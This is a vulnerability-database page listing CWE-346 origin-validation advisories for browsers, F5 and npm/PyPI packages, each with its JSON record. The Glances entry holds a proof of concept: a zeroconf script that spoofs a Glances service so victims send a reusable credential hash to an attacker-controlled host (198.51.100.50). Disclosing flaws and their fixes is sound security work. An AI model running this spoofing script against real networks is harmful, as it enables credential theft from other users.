CWE-346
Allowed-with-ReviewOrigin Validation Error
Abstraction: Class · Status: Draft
The product does not properly verify that the source of data or communication is valid.
787 vulnerabilities reference this CWE, most recent first.
GHSA-VWHG-5HVV-63V5
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14Yandex Browser for Android 20.8.4 allows remote attackers to perform SOP bypass and addresss bar spoofing
{
"affected": [],
"aliases": [
"CVE-2020-27969"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-13T12:15:00Z",
"severity": "HIGH"
},
"details": "Yandex Browser for Android 20.8.4 allows remote attackers to perform SOP bypass and addresss bar spoofing",
"id": "GHSA-vwhg-5hvv-63v5",
"modified": "2022-05-24T19:14:21Z",
"published": "2022-05-24T19:14:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27969"
},
{
"type": "WEB",
"url": "https://yandex.com/bugbounty/i/hall-of-fame-browser"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VX2V-7CPP-943M
Vulnerability from github – Published: 2023-06-02 18:30 – Updated: 2024-04-04 04:30Dragging a URL from a cross-origin iframe that was removed during the drag could have led to user confusion and website spoofing attacks. This vulnerability affects Firefox < 111, Firefox ESR < 102.9, and Thunderbird < 102.9.
{
"affected": [],
"aliases": [
"CVE-2023-28164"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-02T17:15:12Z",
"severity": "MODERATE"
},
"details": "Dragging a URL from a cross-origin iframe that was removed during the drag could have led to user confusion and website spoofing attacks. This vulnerability affects Firefox \u003c 111, Firefox ESR \u003c 102.9, and Thunderbird \u003c 102.9.",
"id": "GHSA-vx2v-7cpp-943m",
"modified": "2024-04-04T04:30:32Z",
"published": "2023-06-02T18:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28164"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1809122"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2023-09"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2023-10"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2023-11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VX5F-957P-QPVM
Vulnerability from github – Published: 2026-03-16 16:36 – Updated: 2026-03-18 21:48Summary
In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global [passwords] default credential.
An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.
Details
Dynamic server discovery keeps both a short name and a separate ip:
# glances/servers_list_dynamic.py:56-61
def add_server(self, name, ip, port, protocol='rpc'):
new_server = {
'key': name,
'name': name.split(':')[0], # Short name
'ip': ip, # IP address seen by the client
'port': port,
...
'type': 'DYNAMIC',
}
The Zeroconf listener populates those fields directly from the service advertisement:
# glances/servers_list_dynamic.py:112-121
new_server_ip = socket.inet_ntoa(address)
new_server_port = info.port
...
self.servers.add_server(
srv_name,
new_server_ip,
new_server_port,
protocol=new_server_protocol,
)
However, the Central Browser connection logic ignores server['ip'] and instead uses the untrusted advertised server['name'] for both password lookup and the destination URI:
# glances/servers_list.py:119-130
def get_uri(self, server):
if server['password'] != "":
if server['status'] == 'PROTECTED':
clear_password = self.password.get_password(server['name'])
if clear_password is not None:
server['password'] = self.password.get_hash(clear_password)
uri = 'http://{}:{}@{}:{}'.format(
server['username'],
server['password'],
server['name'],
server['port'],
)
else:
uri = 'http://{}:{}'.format(server['name'], server['port'])
return uri
That URI is used automatically by the background polling thread:
# glances/servers_list.py:141-143
def __update_stats(self, server):
server['uri'] = self.get_uri(server)
The password lookup itself falls back to the global default password when there is no exact match:
# glances/password_list.py:45-58
def get_password(self, host=None):
...
try:
return self._password_dict[host]
except (KeyError, TypeError):
try:
return self._password_dict['default']
except (KeyError, TypeError):
return None
The sample configuration explicitly supports that default credential reuse:
# conf/glances.conf:656-663
[passwords]
# Define the passwords list related to the [serverlist] section
# ...
#default=defaultpassword
The secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:
# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
# 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit
password = password_hash
# glances/client.py:55-57
if args.password != "":
self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'
There is an inconsistent trust boundary in the interactive browser code as well:
glances/client_browser.py:44opens the REST/WebUI target viawebbrowser.open(self.servers_list.get_uri(server)), which again trustsserver['name']glances/client_browser.py:55fetches saved passwords withself.servers_list.password.get_password(server['name'])glances/client_browser.py:76usesserver['ip']for the RPC client connection
That asymmetry shows the intended safe destination (ip) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.
Exploit Flow
- The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in
[passwords](especiallydefault=...). - An attacker on the same multicast domain advertises a fake
_glances._tcp.local.service with an attacker-controlled service name. - Glances stores the discovered server as
{'name': <advertised-name>, 'ip': <discovered-ip>, ...}. - The background stats refresh calls
get_uri(server). - Once the fake server causes the entry to become
PROTECTED,get_uri()looks up a saved password by the attacker-controlledname, falls back todefaultif present, hashes it, and buildshttp://username:hash@<advertised-name>:<port>. - The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.
PoC
Step 1: Verified local logic proof
The following command executes the real glances/servers_list.py get_uri() implementation (with unrelated imports stubbed out) and demonstrates that:
- password lookup happens against
server['name'], notserver['ip'] - the generated credential-bearing URI uses
server['name'], notserver['ip']
cd D:\bugcrowd\glances\repo
@'
import importlib.util
import sys
import types
from pathlib import Path
pkg = types.ModuleType('glances')
pkg.__apiversion__ = '4'
sys.modules['glances'] = pkg
client_mod = types.ModuleType('glances.client')
class GlancesClientTransport: pass
client_mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client_mod
globals_mod = types.ModuleType('glances.globals')
globals_mod.json_loads = lambda x: x
sys.modules['glances.globals'] = globals_mod
logger_mod = types.ModuleType('glances.logger')
logger_mod.logger = types.SimpleNamespace(
debug=lambda *a, **k: None,
warning=lambda *a, **k: None,
info=lambda *a, **k: None,
error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger_mod
password_list_mod = types.ModuleType('glances.password_list')
class GlancesPasswordList: pass
password_list_mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password_list'] = password_list_mod
dynamic_mod = types.ModuleType('glances.servers_list_dynamic')
class GlancesAutoDiscoverServer: pass
dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers_list_dynamic'] = dynamic_mod
static_mod = types.ModuleType('glances.servers_list_static')
class GlancesStaticServer: pass
static_mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers_list_static'] = static_mod
spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
GlancesServersList = mod.GlancesServersList
class FakePassword:
def get_password(self, host=None):
print(f'lookup:{host}')
return 'defaultpassword'
def get_hash(self, password):
return f'hash({password})'
sl = GlancesServersList.__new__(GlancesServersList)
sl.password = FakePassword()
server = {
'name': 'trusted-host',
'ip': '203.0.113.77',
'port': 61209,
'username': 'glances',
'password': None,
'status': 'PROTECTED',
'type': 'DYNAMIC',
}
print(sl.get_uri(server))
print(server)
'@ | python -
Verified output:
lookup:trusted-host
http://glances:hash(defaultpassword)@trusted-host:61209
{'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}
This confirms the code path binds credentials to the advertised name and ignores the discovered ip.
Step 2: Live network reproduction
- Configure a reusable browser password:
# glances.conf
[passwords]
default=SuperSecretBrowserPassword
- Start Glances in Central Browser mode on the victim machine:
glances --browser -C ./glances.conf
- On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes
PROTECTED:
from zeroconf import ServiceInfo, Zeroconf
import socket
import time
zc = Zeroconf()
info = ServiceInfo(
"_glances._tcp.local.",
"198.51.100.50:61209._glances._tcp.local.",
addresses=[socket.inet_aton("198.51.100.50")],
port=61209,
properties={b"protocol": b"rpc"},
server="ignored.local.",
)
zc.register_service(info)
time.sleep(600)
- On the next Central Browser refresh, Glances first probes the fake server, marks it
PROTECTED, then retries with:
http://glances:<pbkdf2_hash_of_default_password>@198.51.100.50:61209
- The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.
Impact
- Credential exfiltration from browser operators: An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.
- Authentication replay: The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.
- REST/WebUI click-through abuse: For REST servers,
webbrowser.open(self.servers_list.get_uri(server))can open attacker-controlled URLs with embedded credentials. - No user click required for background theft: The stats refresh thread uses the vulnerable path automatically once the fake service is marked
PROTECTED. - Affected scope: This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.
Recommended Fix
Use the discovered ip as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.
# glances/servers_list.py
def _get_connect_host(self, server):
if server.get('type') == 'DYNAMIC':
return server['ip']
return server['name']
def _get_preconfigured_password(self, server):
# Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds
if server.get('type') == 'DYNAMIC':
return None
return self.password.get_password(server['name'])
def get_uri(self, server):
host = self._get_connect_host(server)
if server['password'] != "":
if server['status'] == 'PROTECTED':
clear_password = self._get_preconfigured_password(server)
if clear_password is not None:
server['password'] = self.password.get_hash(clear_password)
return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port'])
return 'http://{}:{}'.format(host, server['port'])
And use the same _get_preconfigured_password() logic in glances/client_browser.py instead of calling self.servers_list.password.get_password(server['name']) directly.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32634"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T16:36:06Z",
"nvd_published_at": "2026-03-18T18:16:29Z",
"severity": "HIGH"
},
"details": "## Summary\n\nIn Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential.\n\nAn attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.\n\n## Details\n\nDynamic server discovery keeps both a short `name` and a separate `ip`:\n\n```python\n# glances/servers_list_dynamic.py:56-61\ndef add_server(self, name, ip, port, protocol=\u0027rpc\u0027):\n new_server = {\n \u0027key\u0027: name,\n \u0027name\u0027: name.split(\u0027:\u0027)[0], # Short name\n \u0027ip\u0027: ip, # IP address seen by the client\n \u0027port\u0027: port,\n ...\n \u0027type\u0027: \u0027DYNAMIC\u0027,\n }\n```\n\nThe Zeroconf listener populates those fields directly from the service advertisement:\n\n```python\n# glances/servers_list_dynamic.py:112-121\nnew_server_ip = socket.inet_ntoa(address)\nnew_server_port = info.port\n...\nself.servers.add_server(\n srv_name,\n new_server_ip,\n new_server_port,\n protocol=new_server_protocol,\n)\n```\n\nHowever, the Central Browser connection logic ignores `server[\u0027ip\u0027]` and instead uses the untrusted advertised `server[\u0027name\u0027]` for both password lookup and the destination URI:\n\n```python\n# glances/servers_list.py:119-130\ndef get_uri(self, server):\n if server[\u0027password\u0027] != \"\":\n if server[\u0027status\u0027] == \u0027PROTECTED\u0027:\n clear_password = self.password.get_password(server[\u0027name\u0027])\n if clear_password is not None:\n server[\u0027password\u0027] = self.password.get_hash(clear_password)\n uri = \u0027http://{}:{}@{}:{}\u0027.format(\n server[\u0027username\u0027],\n server[\u0027password\u0027],\n server[\u0027name\u0027],\n server[\u0027port\u0027],\n )\n else:\n uri = \u0027http://{}:{}\u0027.format(server[\u0027name\u0027], server[\u0027port\u0027])\n return uri\n```\n\nThat URI is used automatically by the background polling thread:\n\n```python\n# glances/servers_list.py:141-143\ndef __update_stats(self, server):\n server[\u0027uri\u0027] = self.get_uri(server)\n```\n\nThe password lookup itself falls back to the global default password when there is no exact match:\n\n```python\n# glances/password_list.py:45-58\ndef get_password(self, host=None):\n ...\n try:\n return self._password_dict[host]\n except (KeyError, TypeError):\n try:\n return self._password_dict[\u0027default\u0027]\n except (KeyError, TypeError):\n return None\n```\n\nThe sample configuration explicitly supports that `default` credential reuse:\n\n```ini\n# conf/glances.conf:656-663\n[passwords]\n# Define the passwords list related to the [serverlist] section\n# ...\n#default=defaultpassword\n```\n\nThe secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n# For Glances client, get the password (confirm=False, clear=True):\n# 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n```\n\n```python\n# glances/client.py:55-57\nif args.password != \"\":\n self.uri = f\u0027http://{args.username}:{args.password}@{args.client}:{args.port}\u0027\n```\n\nThere is an inconsistent trust boundary in the interactive browser code as well:\n\n- `glances/client_browser.py:44` opens the REST/WebUI target via `webbrowser.open(self.servers_list.get_uri(server))`, which again trusts `server[\u0027name\u0027]`\n- `glances/client_browser.py:55` fetches saved passwords with `self.servers_list.password.get_password(server[\u0027name\u0027])`\n- `glances/client_browser.py:76` uses `server[\u0027ip\u0027]` for the RPC client connection\n\nThat asymmetry shows the intended safe destination (`ip`) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.\n\n### Exploit Flow\n\n1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in `[passwords]` (especially `default=...`).\n2. An attacker on the same multicast domain advertises a fake `_glances._tcp.local.` service with an attacker-controlled service name.\n3. Glances stores the discovered server as `{\u0027name\u0027: \u003cadvertised-name\u003e, \u0027ip\u0027: \u003cdiscovered-ip\u003e, ...}`.\n4. The background stats refresh calls `get_uri(server)`.\n5. Once the fake server causes the entry to become `PROTECTED`, `get_uri()` looks up a saved password by the attacker-controlled `name`, falls back to `default` if present, hashes it, and builds `http://username:hash@\u003cadvertised-name\u003e:\u003cport\u003e`.\n6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.\n\n## PoC\n\n### Step 1: Verified local logic proof\n\nThe following command executes the real `glances/servers_list.py` `get_uri()` implementation (with unrelated imports stubbed out) and demonstrates that:\n\n- password lookup happens against `server[\u0027name\u0027]`, not `server[\u0027ip\u0027]`\n- the generated credential-bearing URI uses `server[\u0027name\u0027]`, not `server[\u0027ip\u0027]`\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@\u0027\nimport importlib.util\nimport sys\nimport types\nfrom pathlib import Path\n\npkg = types.ModuleType(\u0027glances\u0027)\npkg.__apiversion__ = \u00274\u0027\nsys.modules[\u0027glances\u0027] = pkg\n\nclient_mod = types.ModuleType(\u0027glances.client\u0027)\nclass GlancesClientTransport: pass\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules[\u0027glances.client\u0027] = client_mod\n\nglobals_mod = types.ModuleType(\u0027glances.globals\u0027)\nglobals_mod.json_loads = lambda x: x\nsys.modules[\u0027glances.globals\u0027] = globals_mod\n\nlogger_mod = types.ModuleType(\u0027glances.logger\u0027)\nlogger_mod.logger = types.SimpleNamespace(\n debug=lambda *a, **k: None,\n warning=lambda *a, **k: None,\n info=lambda *a, **k: None,\n error=lambda *a, **k: None,\n)\nsys.modules[\u0027glances.logger\u0027] = logger_mod\n\npassword_list_mod = types.ModuleType(\u0027glances.password_list\u0027)\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules[\u0027glances.password_list\u0027] = password_list_mod\n\ndynamic_mod = types.ModuleType(\u0027glances.servers_list_dynamic\u0027)\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules[\u0027glances.servers_list_dynamic\u0027] = dynamic_mod\n\nstatic_mod = types.ModuleType(\u0027glances.servers_list_static\u0027)\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules[\u0027glances.servers_list_static\u0027] = static_mod\n\nspec = importlib.util.spec_from_file_location(\u0027tested_servers_list\u0027, Path(\u0027glances/servers_list.py\u0027))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass FakePassword:\n def get_password(self, host=None):\n print(f\u0027lookup:{host}\u0027)\n return \u0027defaultpassword\u0027\n def get_hash(self, password):\n return f\u0027hash({password})\u0027\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nserver = {\n \u0027name\u0027: \u0027trusted-host\u0027,\n \u0027ip\u0027: \u0027203.0.113.77\u0027,\n \u0027port\u0027: 61209,\n \u0027username\u0027: \u0027glances\u0027,\n \u0027password\u0027: None,\n \u0027status\u0027: \u0027PROTECTED\u0027,\n \u0027type\u0027: \u0027DYNAMIC\u0027,\n}\n\nprint(sl.get_uri(server))\nprint(server)\n\u0027@ | python -\n```\n\nVerified output:\n\n```text\nlookup:trusted-host\nhttp://glances:hash(defaultpassword)@trusted-host:61209\n{\u0027name\u0027: \u0027trusted-host\u0027, \u0027ip\u0027: \u0027203.0.113.77\u0027, \u0027port\u0027: 61209, \u0027username\u0027: \u0027glances\u0027, \u0027password\u0027: \u0027hash(defaultpassword)\u0027, \u0027status\u0027: \u0027PROTECTED\u0027, \u0027type\u0027: \u0027DYNAMIC\u0027}\n```\n\nThis confirms the code path binds credentials to the advertised `name` and ignores the discovered `ip`.\n\n### Step 2: Live network reproduction\n\n1. Configure a reusable browser password:\n\n```ini\n# glances.conf\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start Glances in Central Browser mode on the victim machine:\n\n```bash\nglances --browser -C ./glances.conf\n```\n\n3. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes `PROTECTED`:\n\n```python\nfrom zeroconf import ServiceInfo, Zeroconf\nimport socket\nimport time\n\nzc = Zeroconf()\ninfo = ServiceInfo(\n \"_glances._tcp.local.\",\n \"198.51.100.50:61209._glances._tcp.local.\",\n addresses=[socket.inet_aton(\"198.51.100.50\")],\n port=61209,\n properties={b\"protocol\": b\"rpc\"},\n server=\"ignored.local.\",\n)\nzc.register_service(info)\ntime.sleep(600)\n```\n\n4. On the next Central Browser refresh, Glances first probes the fake server, marks it `PROTECTED`, then retries with:\n\n```text\nhttp://glances:\u003cpbkdf2_hash_of_default_password\u003e@198.51.100.50:61209\n```\n\n5. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.\n\n## Impact\n\n- **Credential exfiltration from browser operators:** An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.\n- **Authentication replay:** The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.\n- **REST/WebUI click-through abuse:** For REST servers, `webbrowser.open(self.servers_list.get_uri(server))` can open attacker-controlled URLs with embedded credentials.\n- **No user click required for background theft:** The stats refresh thread uses the vulnerable path automatically once the fake service is marked `PROTECTED`.\n- **Affected scope:** This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.\n\n## Recommended Fix\n\nUse the discovered `ip` as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.\n\n```python\n# glances/servers_list.py\n\ndef _get_connect_host(self, server):\n if server.get(\u0027type\u0027) == \u0027DYNAMIC\u0027:\n return server[\u0027ip\u0027]\n return server[\u0027name\u0027]\n\ndef _get_preconfigured_password(self, server):\n # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds\n if server.get(\u0027type\u0027) == \u0027DYNAMIC\u0027:\n return None\n return self.password.get_password(server[\u0027name\u0027])\n\ndef get_uri(self, server):\n host = self._get_connect_host(server)\n if server[\u0027password\u0027] != \"\":\n if server[\u0027status\u0027] == \u0027PROTECTED\u0027:\n clear_password = self._get_preconfigured_password(server)\n if clear_password is not None:\n server[\u0027password\u0027] = self.password.get_hash(clear_password)\n return \u0027http://{}:{}@{}:{}\u0027.format(server[\u0027username\u0027], server[\u0027password\u0027], host, server[\u0027port\u0027])\n return \u0027http://{}:{}\u0027.format(host, server[\u0027port\u0027])\n```\n\nAnd use the same `_get_preconfigured_password()` logic in `glances/client_browser.py` instead of calling `self.servers_list.password.get_password(server[\u0027name\u0027])` directly.",
"id": "GHSA-vx5f-957p-qpvm",
"modified": "2026-03-18T21:48:54Z",
"published": "2026-03-16T16:36:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32634"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/commit/61d38eec521703e41e4933d18d5a5ef6f854abd5"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers"
}
GHSA-VXCG-JVMF-23HG
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 18:31Inappropriate implementation in Network in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-11194"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T23:17:26Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Network in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-vxcg-jvmf-23hg",
"modified": "2026-06-05T18:31:38Z",
"published": "2026-06-05T00:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11194"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/503719488"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W3HV-X4FP-6H6J
Vulnerability from github – Published: 2026-03-25 17:27 – Updated: 2026-03-25 17:28Impact
The WebSocket upgrade handler in the server validates authentication (API key token or session cookie) but does not check the Origin header. A malicious webpage on a different origin could initiate a WebSocket connection to ws://localhost:3000/ws if it can leverage the user's session cookie (which is SameSite=Lax, allowing top-level navigations).
This enables cross-origin WebSocket hijacking — if a user visits a malicious site while a Grackle session is active, the attacker's page could open a WebSocket and subscribe to real-time events (session output, task updates, environment state).
Affected code:
- packages/server/src/ws-bridge.ts:80-91 — connection handler accepts WebSocket upgrades without checking req.headers.origin
Patches
Fix: Validate req.headers.origin against an allowlist before accepting connections:
const origin = req.headers.origin || "";
if (origin && !origin.includes("localhost") && !origin.includes("127.0.0.1")) {
ws.close(4003, "Invalid origin");
return;
}
Workarounds
Ensure the Grackle server is only accessible on 127.0.0.1 (the default). Do not use --allow-network in untrusted network environments.
Resources
- CWE-346: Origin Validation Error
- File:
packages/server/src/ws-bridge.ts
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.70.2"
},
"package": {
"ecosystem": "npm",
"name": "@grackle-ai/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.70.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T17:27:48Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nThe WebSocket upgrade handler in the server validates authentication (API key token or session cookie) but does not check the `Origin` header. A malicious webpage on a different origin could initiate a WebSocket connection to `ws://localhost:3000/ws` if it can leverage the user\u0027s session cookie (which is `SameSite=Lax`, allowing top-level navigations).\n\nThis enables **cross-origin WebSocket hijacking** \u2014 if a user visits a malicious site while a Grackle session is active, the attacker\u0027s page could open a WebSocket and subscribe to real-time events (session output, task updates, environment state).\n\n**Affected code:**\n- `packages/server/src/ws-bridge.ts:80-91` \u2014 connection handler accepts WebSocket upgrades without checking `req.headers.origin`\n\n### Patches\n\n**Fix:** Validate `req.headers.origin` against an allowlist before accepting connections:\n```typescript\nconst origin = req.headers.origin || \"\";\nif (origin \u0026\u0026 !origin.includes(\"localhost\") \u0026\u0026 !origin.includes(\"127.0.0.1\")) {\n ws.close(4003, \"Invalid origin\");\n return;\n}\n```\n\n### Workarounds\n\nEnsure the Grackle server is only accessible on `127.0.0.1` (the default). Do not use `--allow-network` in untrusted network environments.\n\n### Resources\n\n- CWE-346: Origin Validation Error\n- File: `packages/server/src/ws-bridge.ts`",
"id": "GHSA-w3hv-x4fp-6h6j",
"modified": "2026-03-25T17:28:05Z",
"published": "2026-03-25T17:27:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nick-pape/grackle/security/advisories/GHSA-w3hv-x4fp-6h6j"
},
{
"type": "PACKAGE",
"url": "https://github.com/nick-pape/grackle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@grackle-ai/server has Missing WebSocket Origin Header Validation"
}
GHSA-W6P7-CC7P-W2QR
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-06 03:31Inappropriate implementation in Workers in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-10996"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T23:17:03Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Workers in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-w6p7-cc7p-w2qr",
"modified": "2026-06-06T03:31:20Z",
"published": "2026-06-05T00:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10996"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/40051700"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W6Q8-C6Q3-JVXR
Vulnerability from github – Published: 2024-05-08 15:30 – Updated: 2024-05-08 15:30An origin validation vulnerability exists in
BIG-IP APM browser network access VPN client
for Windows, macOS and Linux which may allow an attacker to bypass F5 endpoint inspection.
Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2024-28883"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-08T15:15:09Z",
"severity": "HIGH"
},
"details": "An origin validation vulnerability exists in \n\nBIG-IP APM browser network access VPN client \n\n\n\n for Windows, macOS and Linux which may allow an attacker to bypass F5 endpoint inspection. \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-w6q8-c6q3-jvxr",
"modified": "2024-05-08T15:30:42Z",
"published": "2024-05-08T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28883"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000138744"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
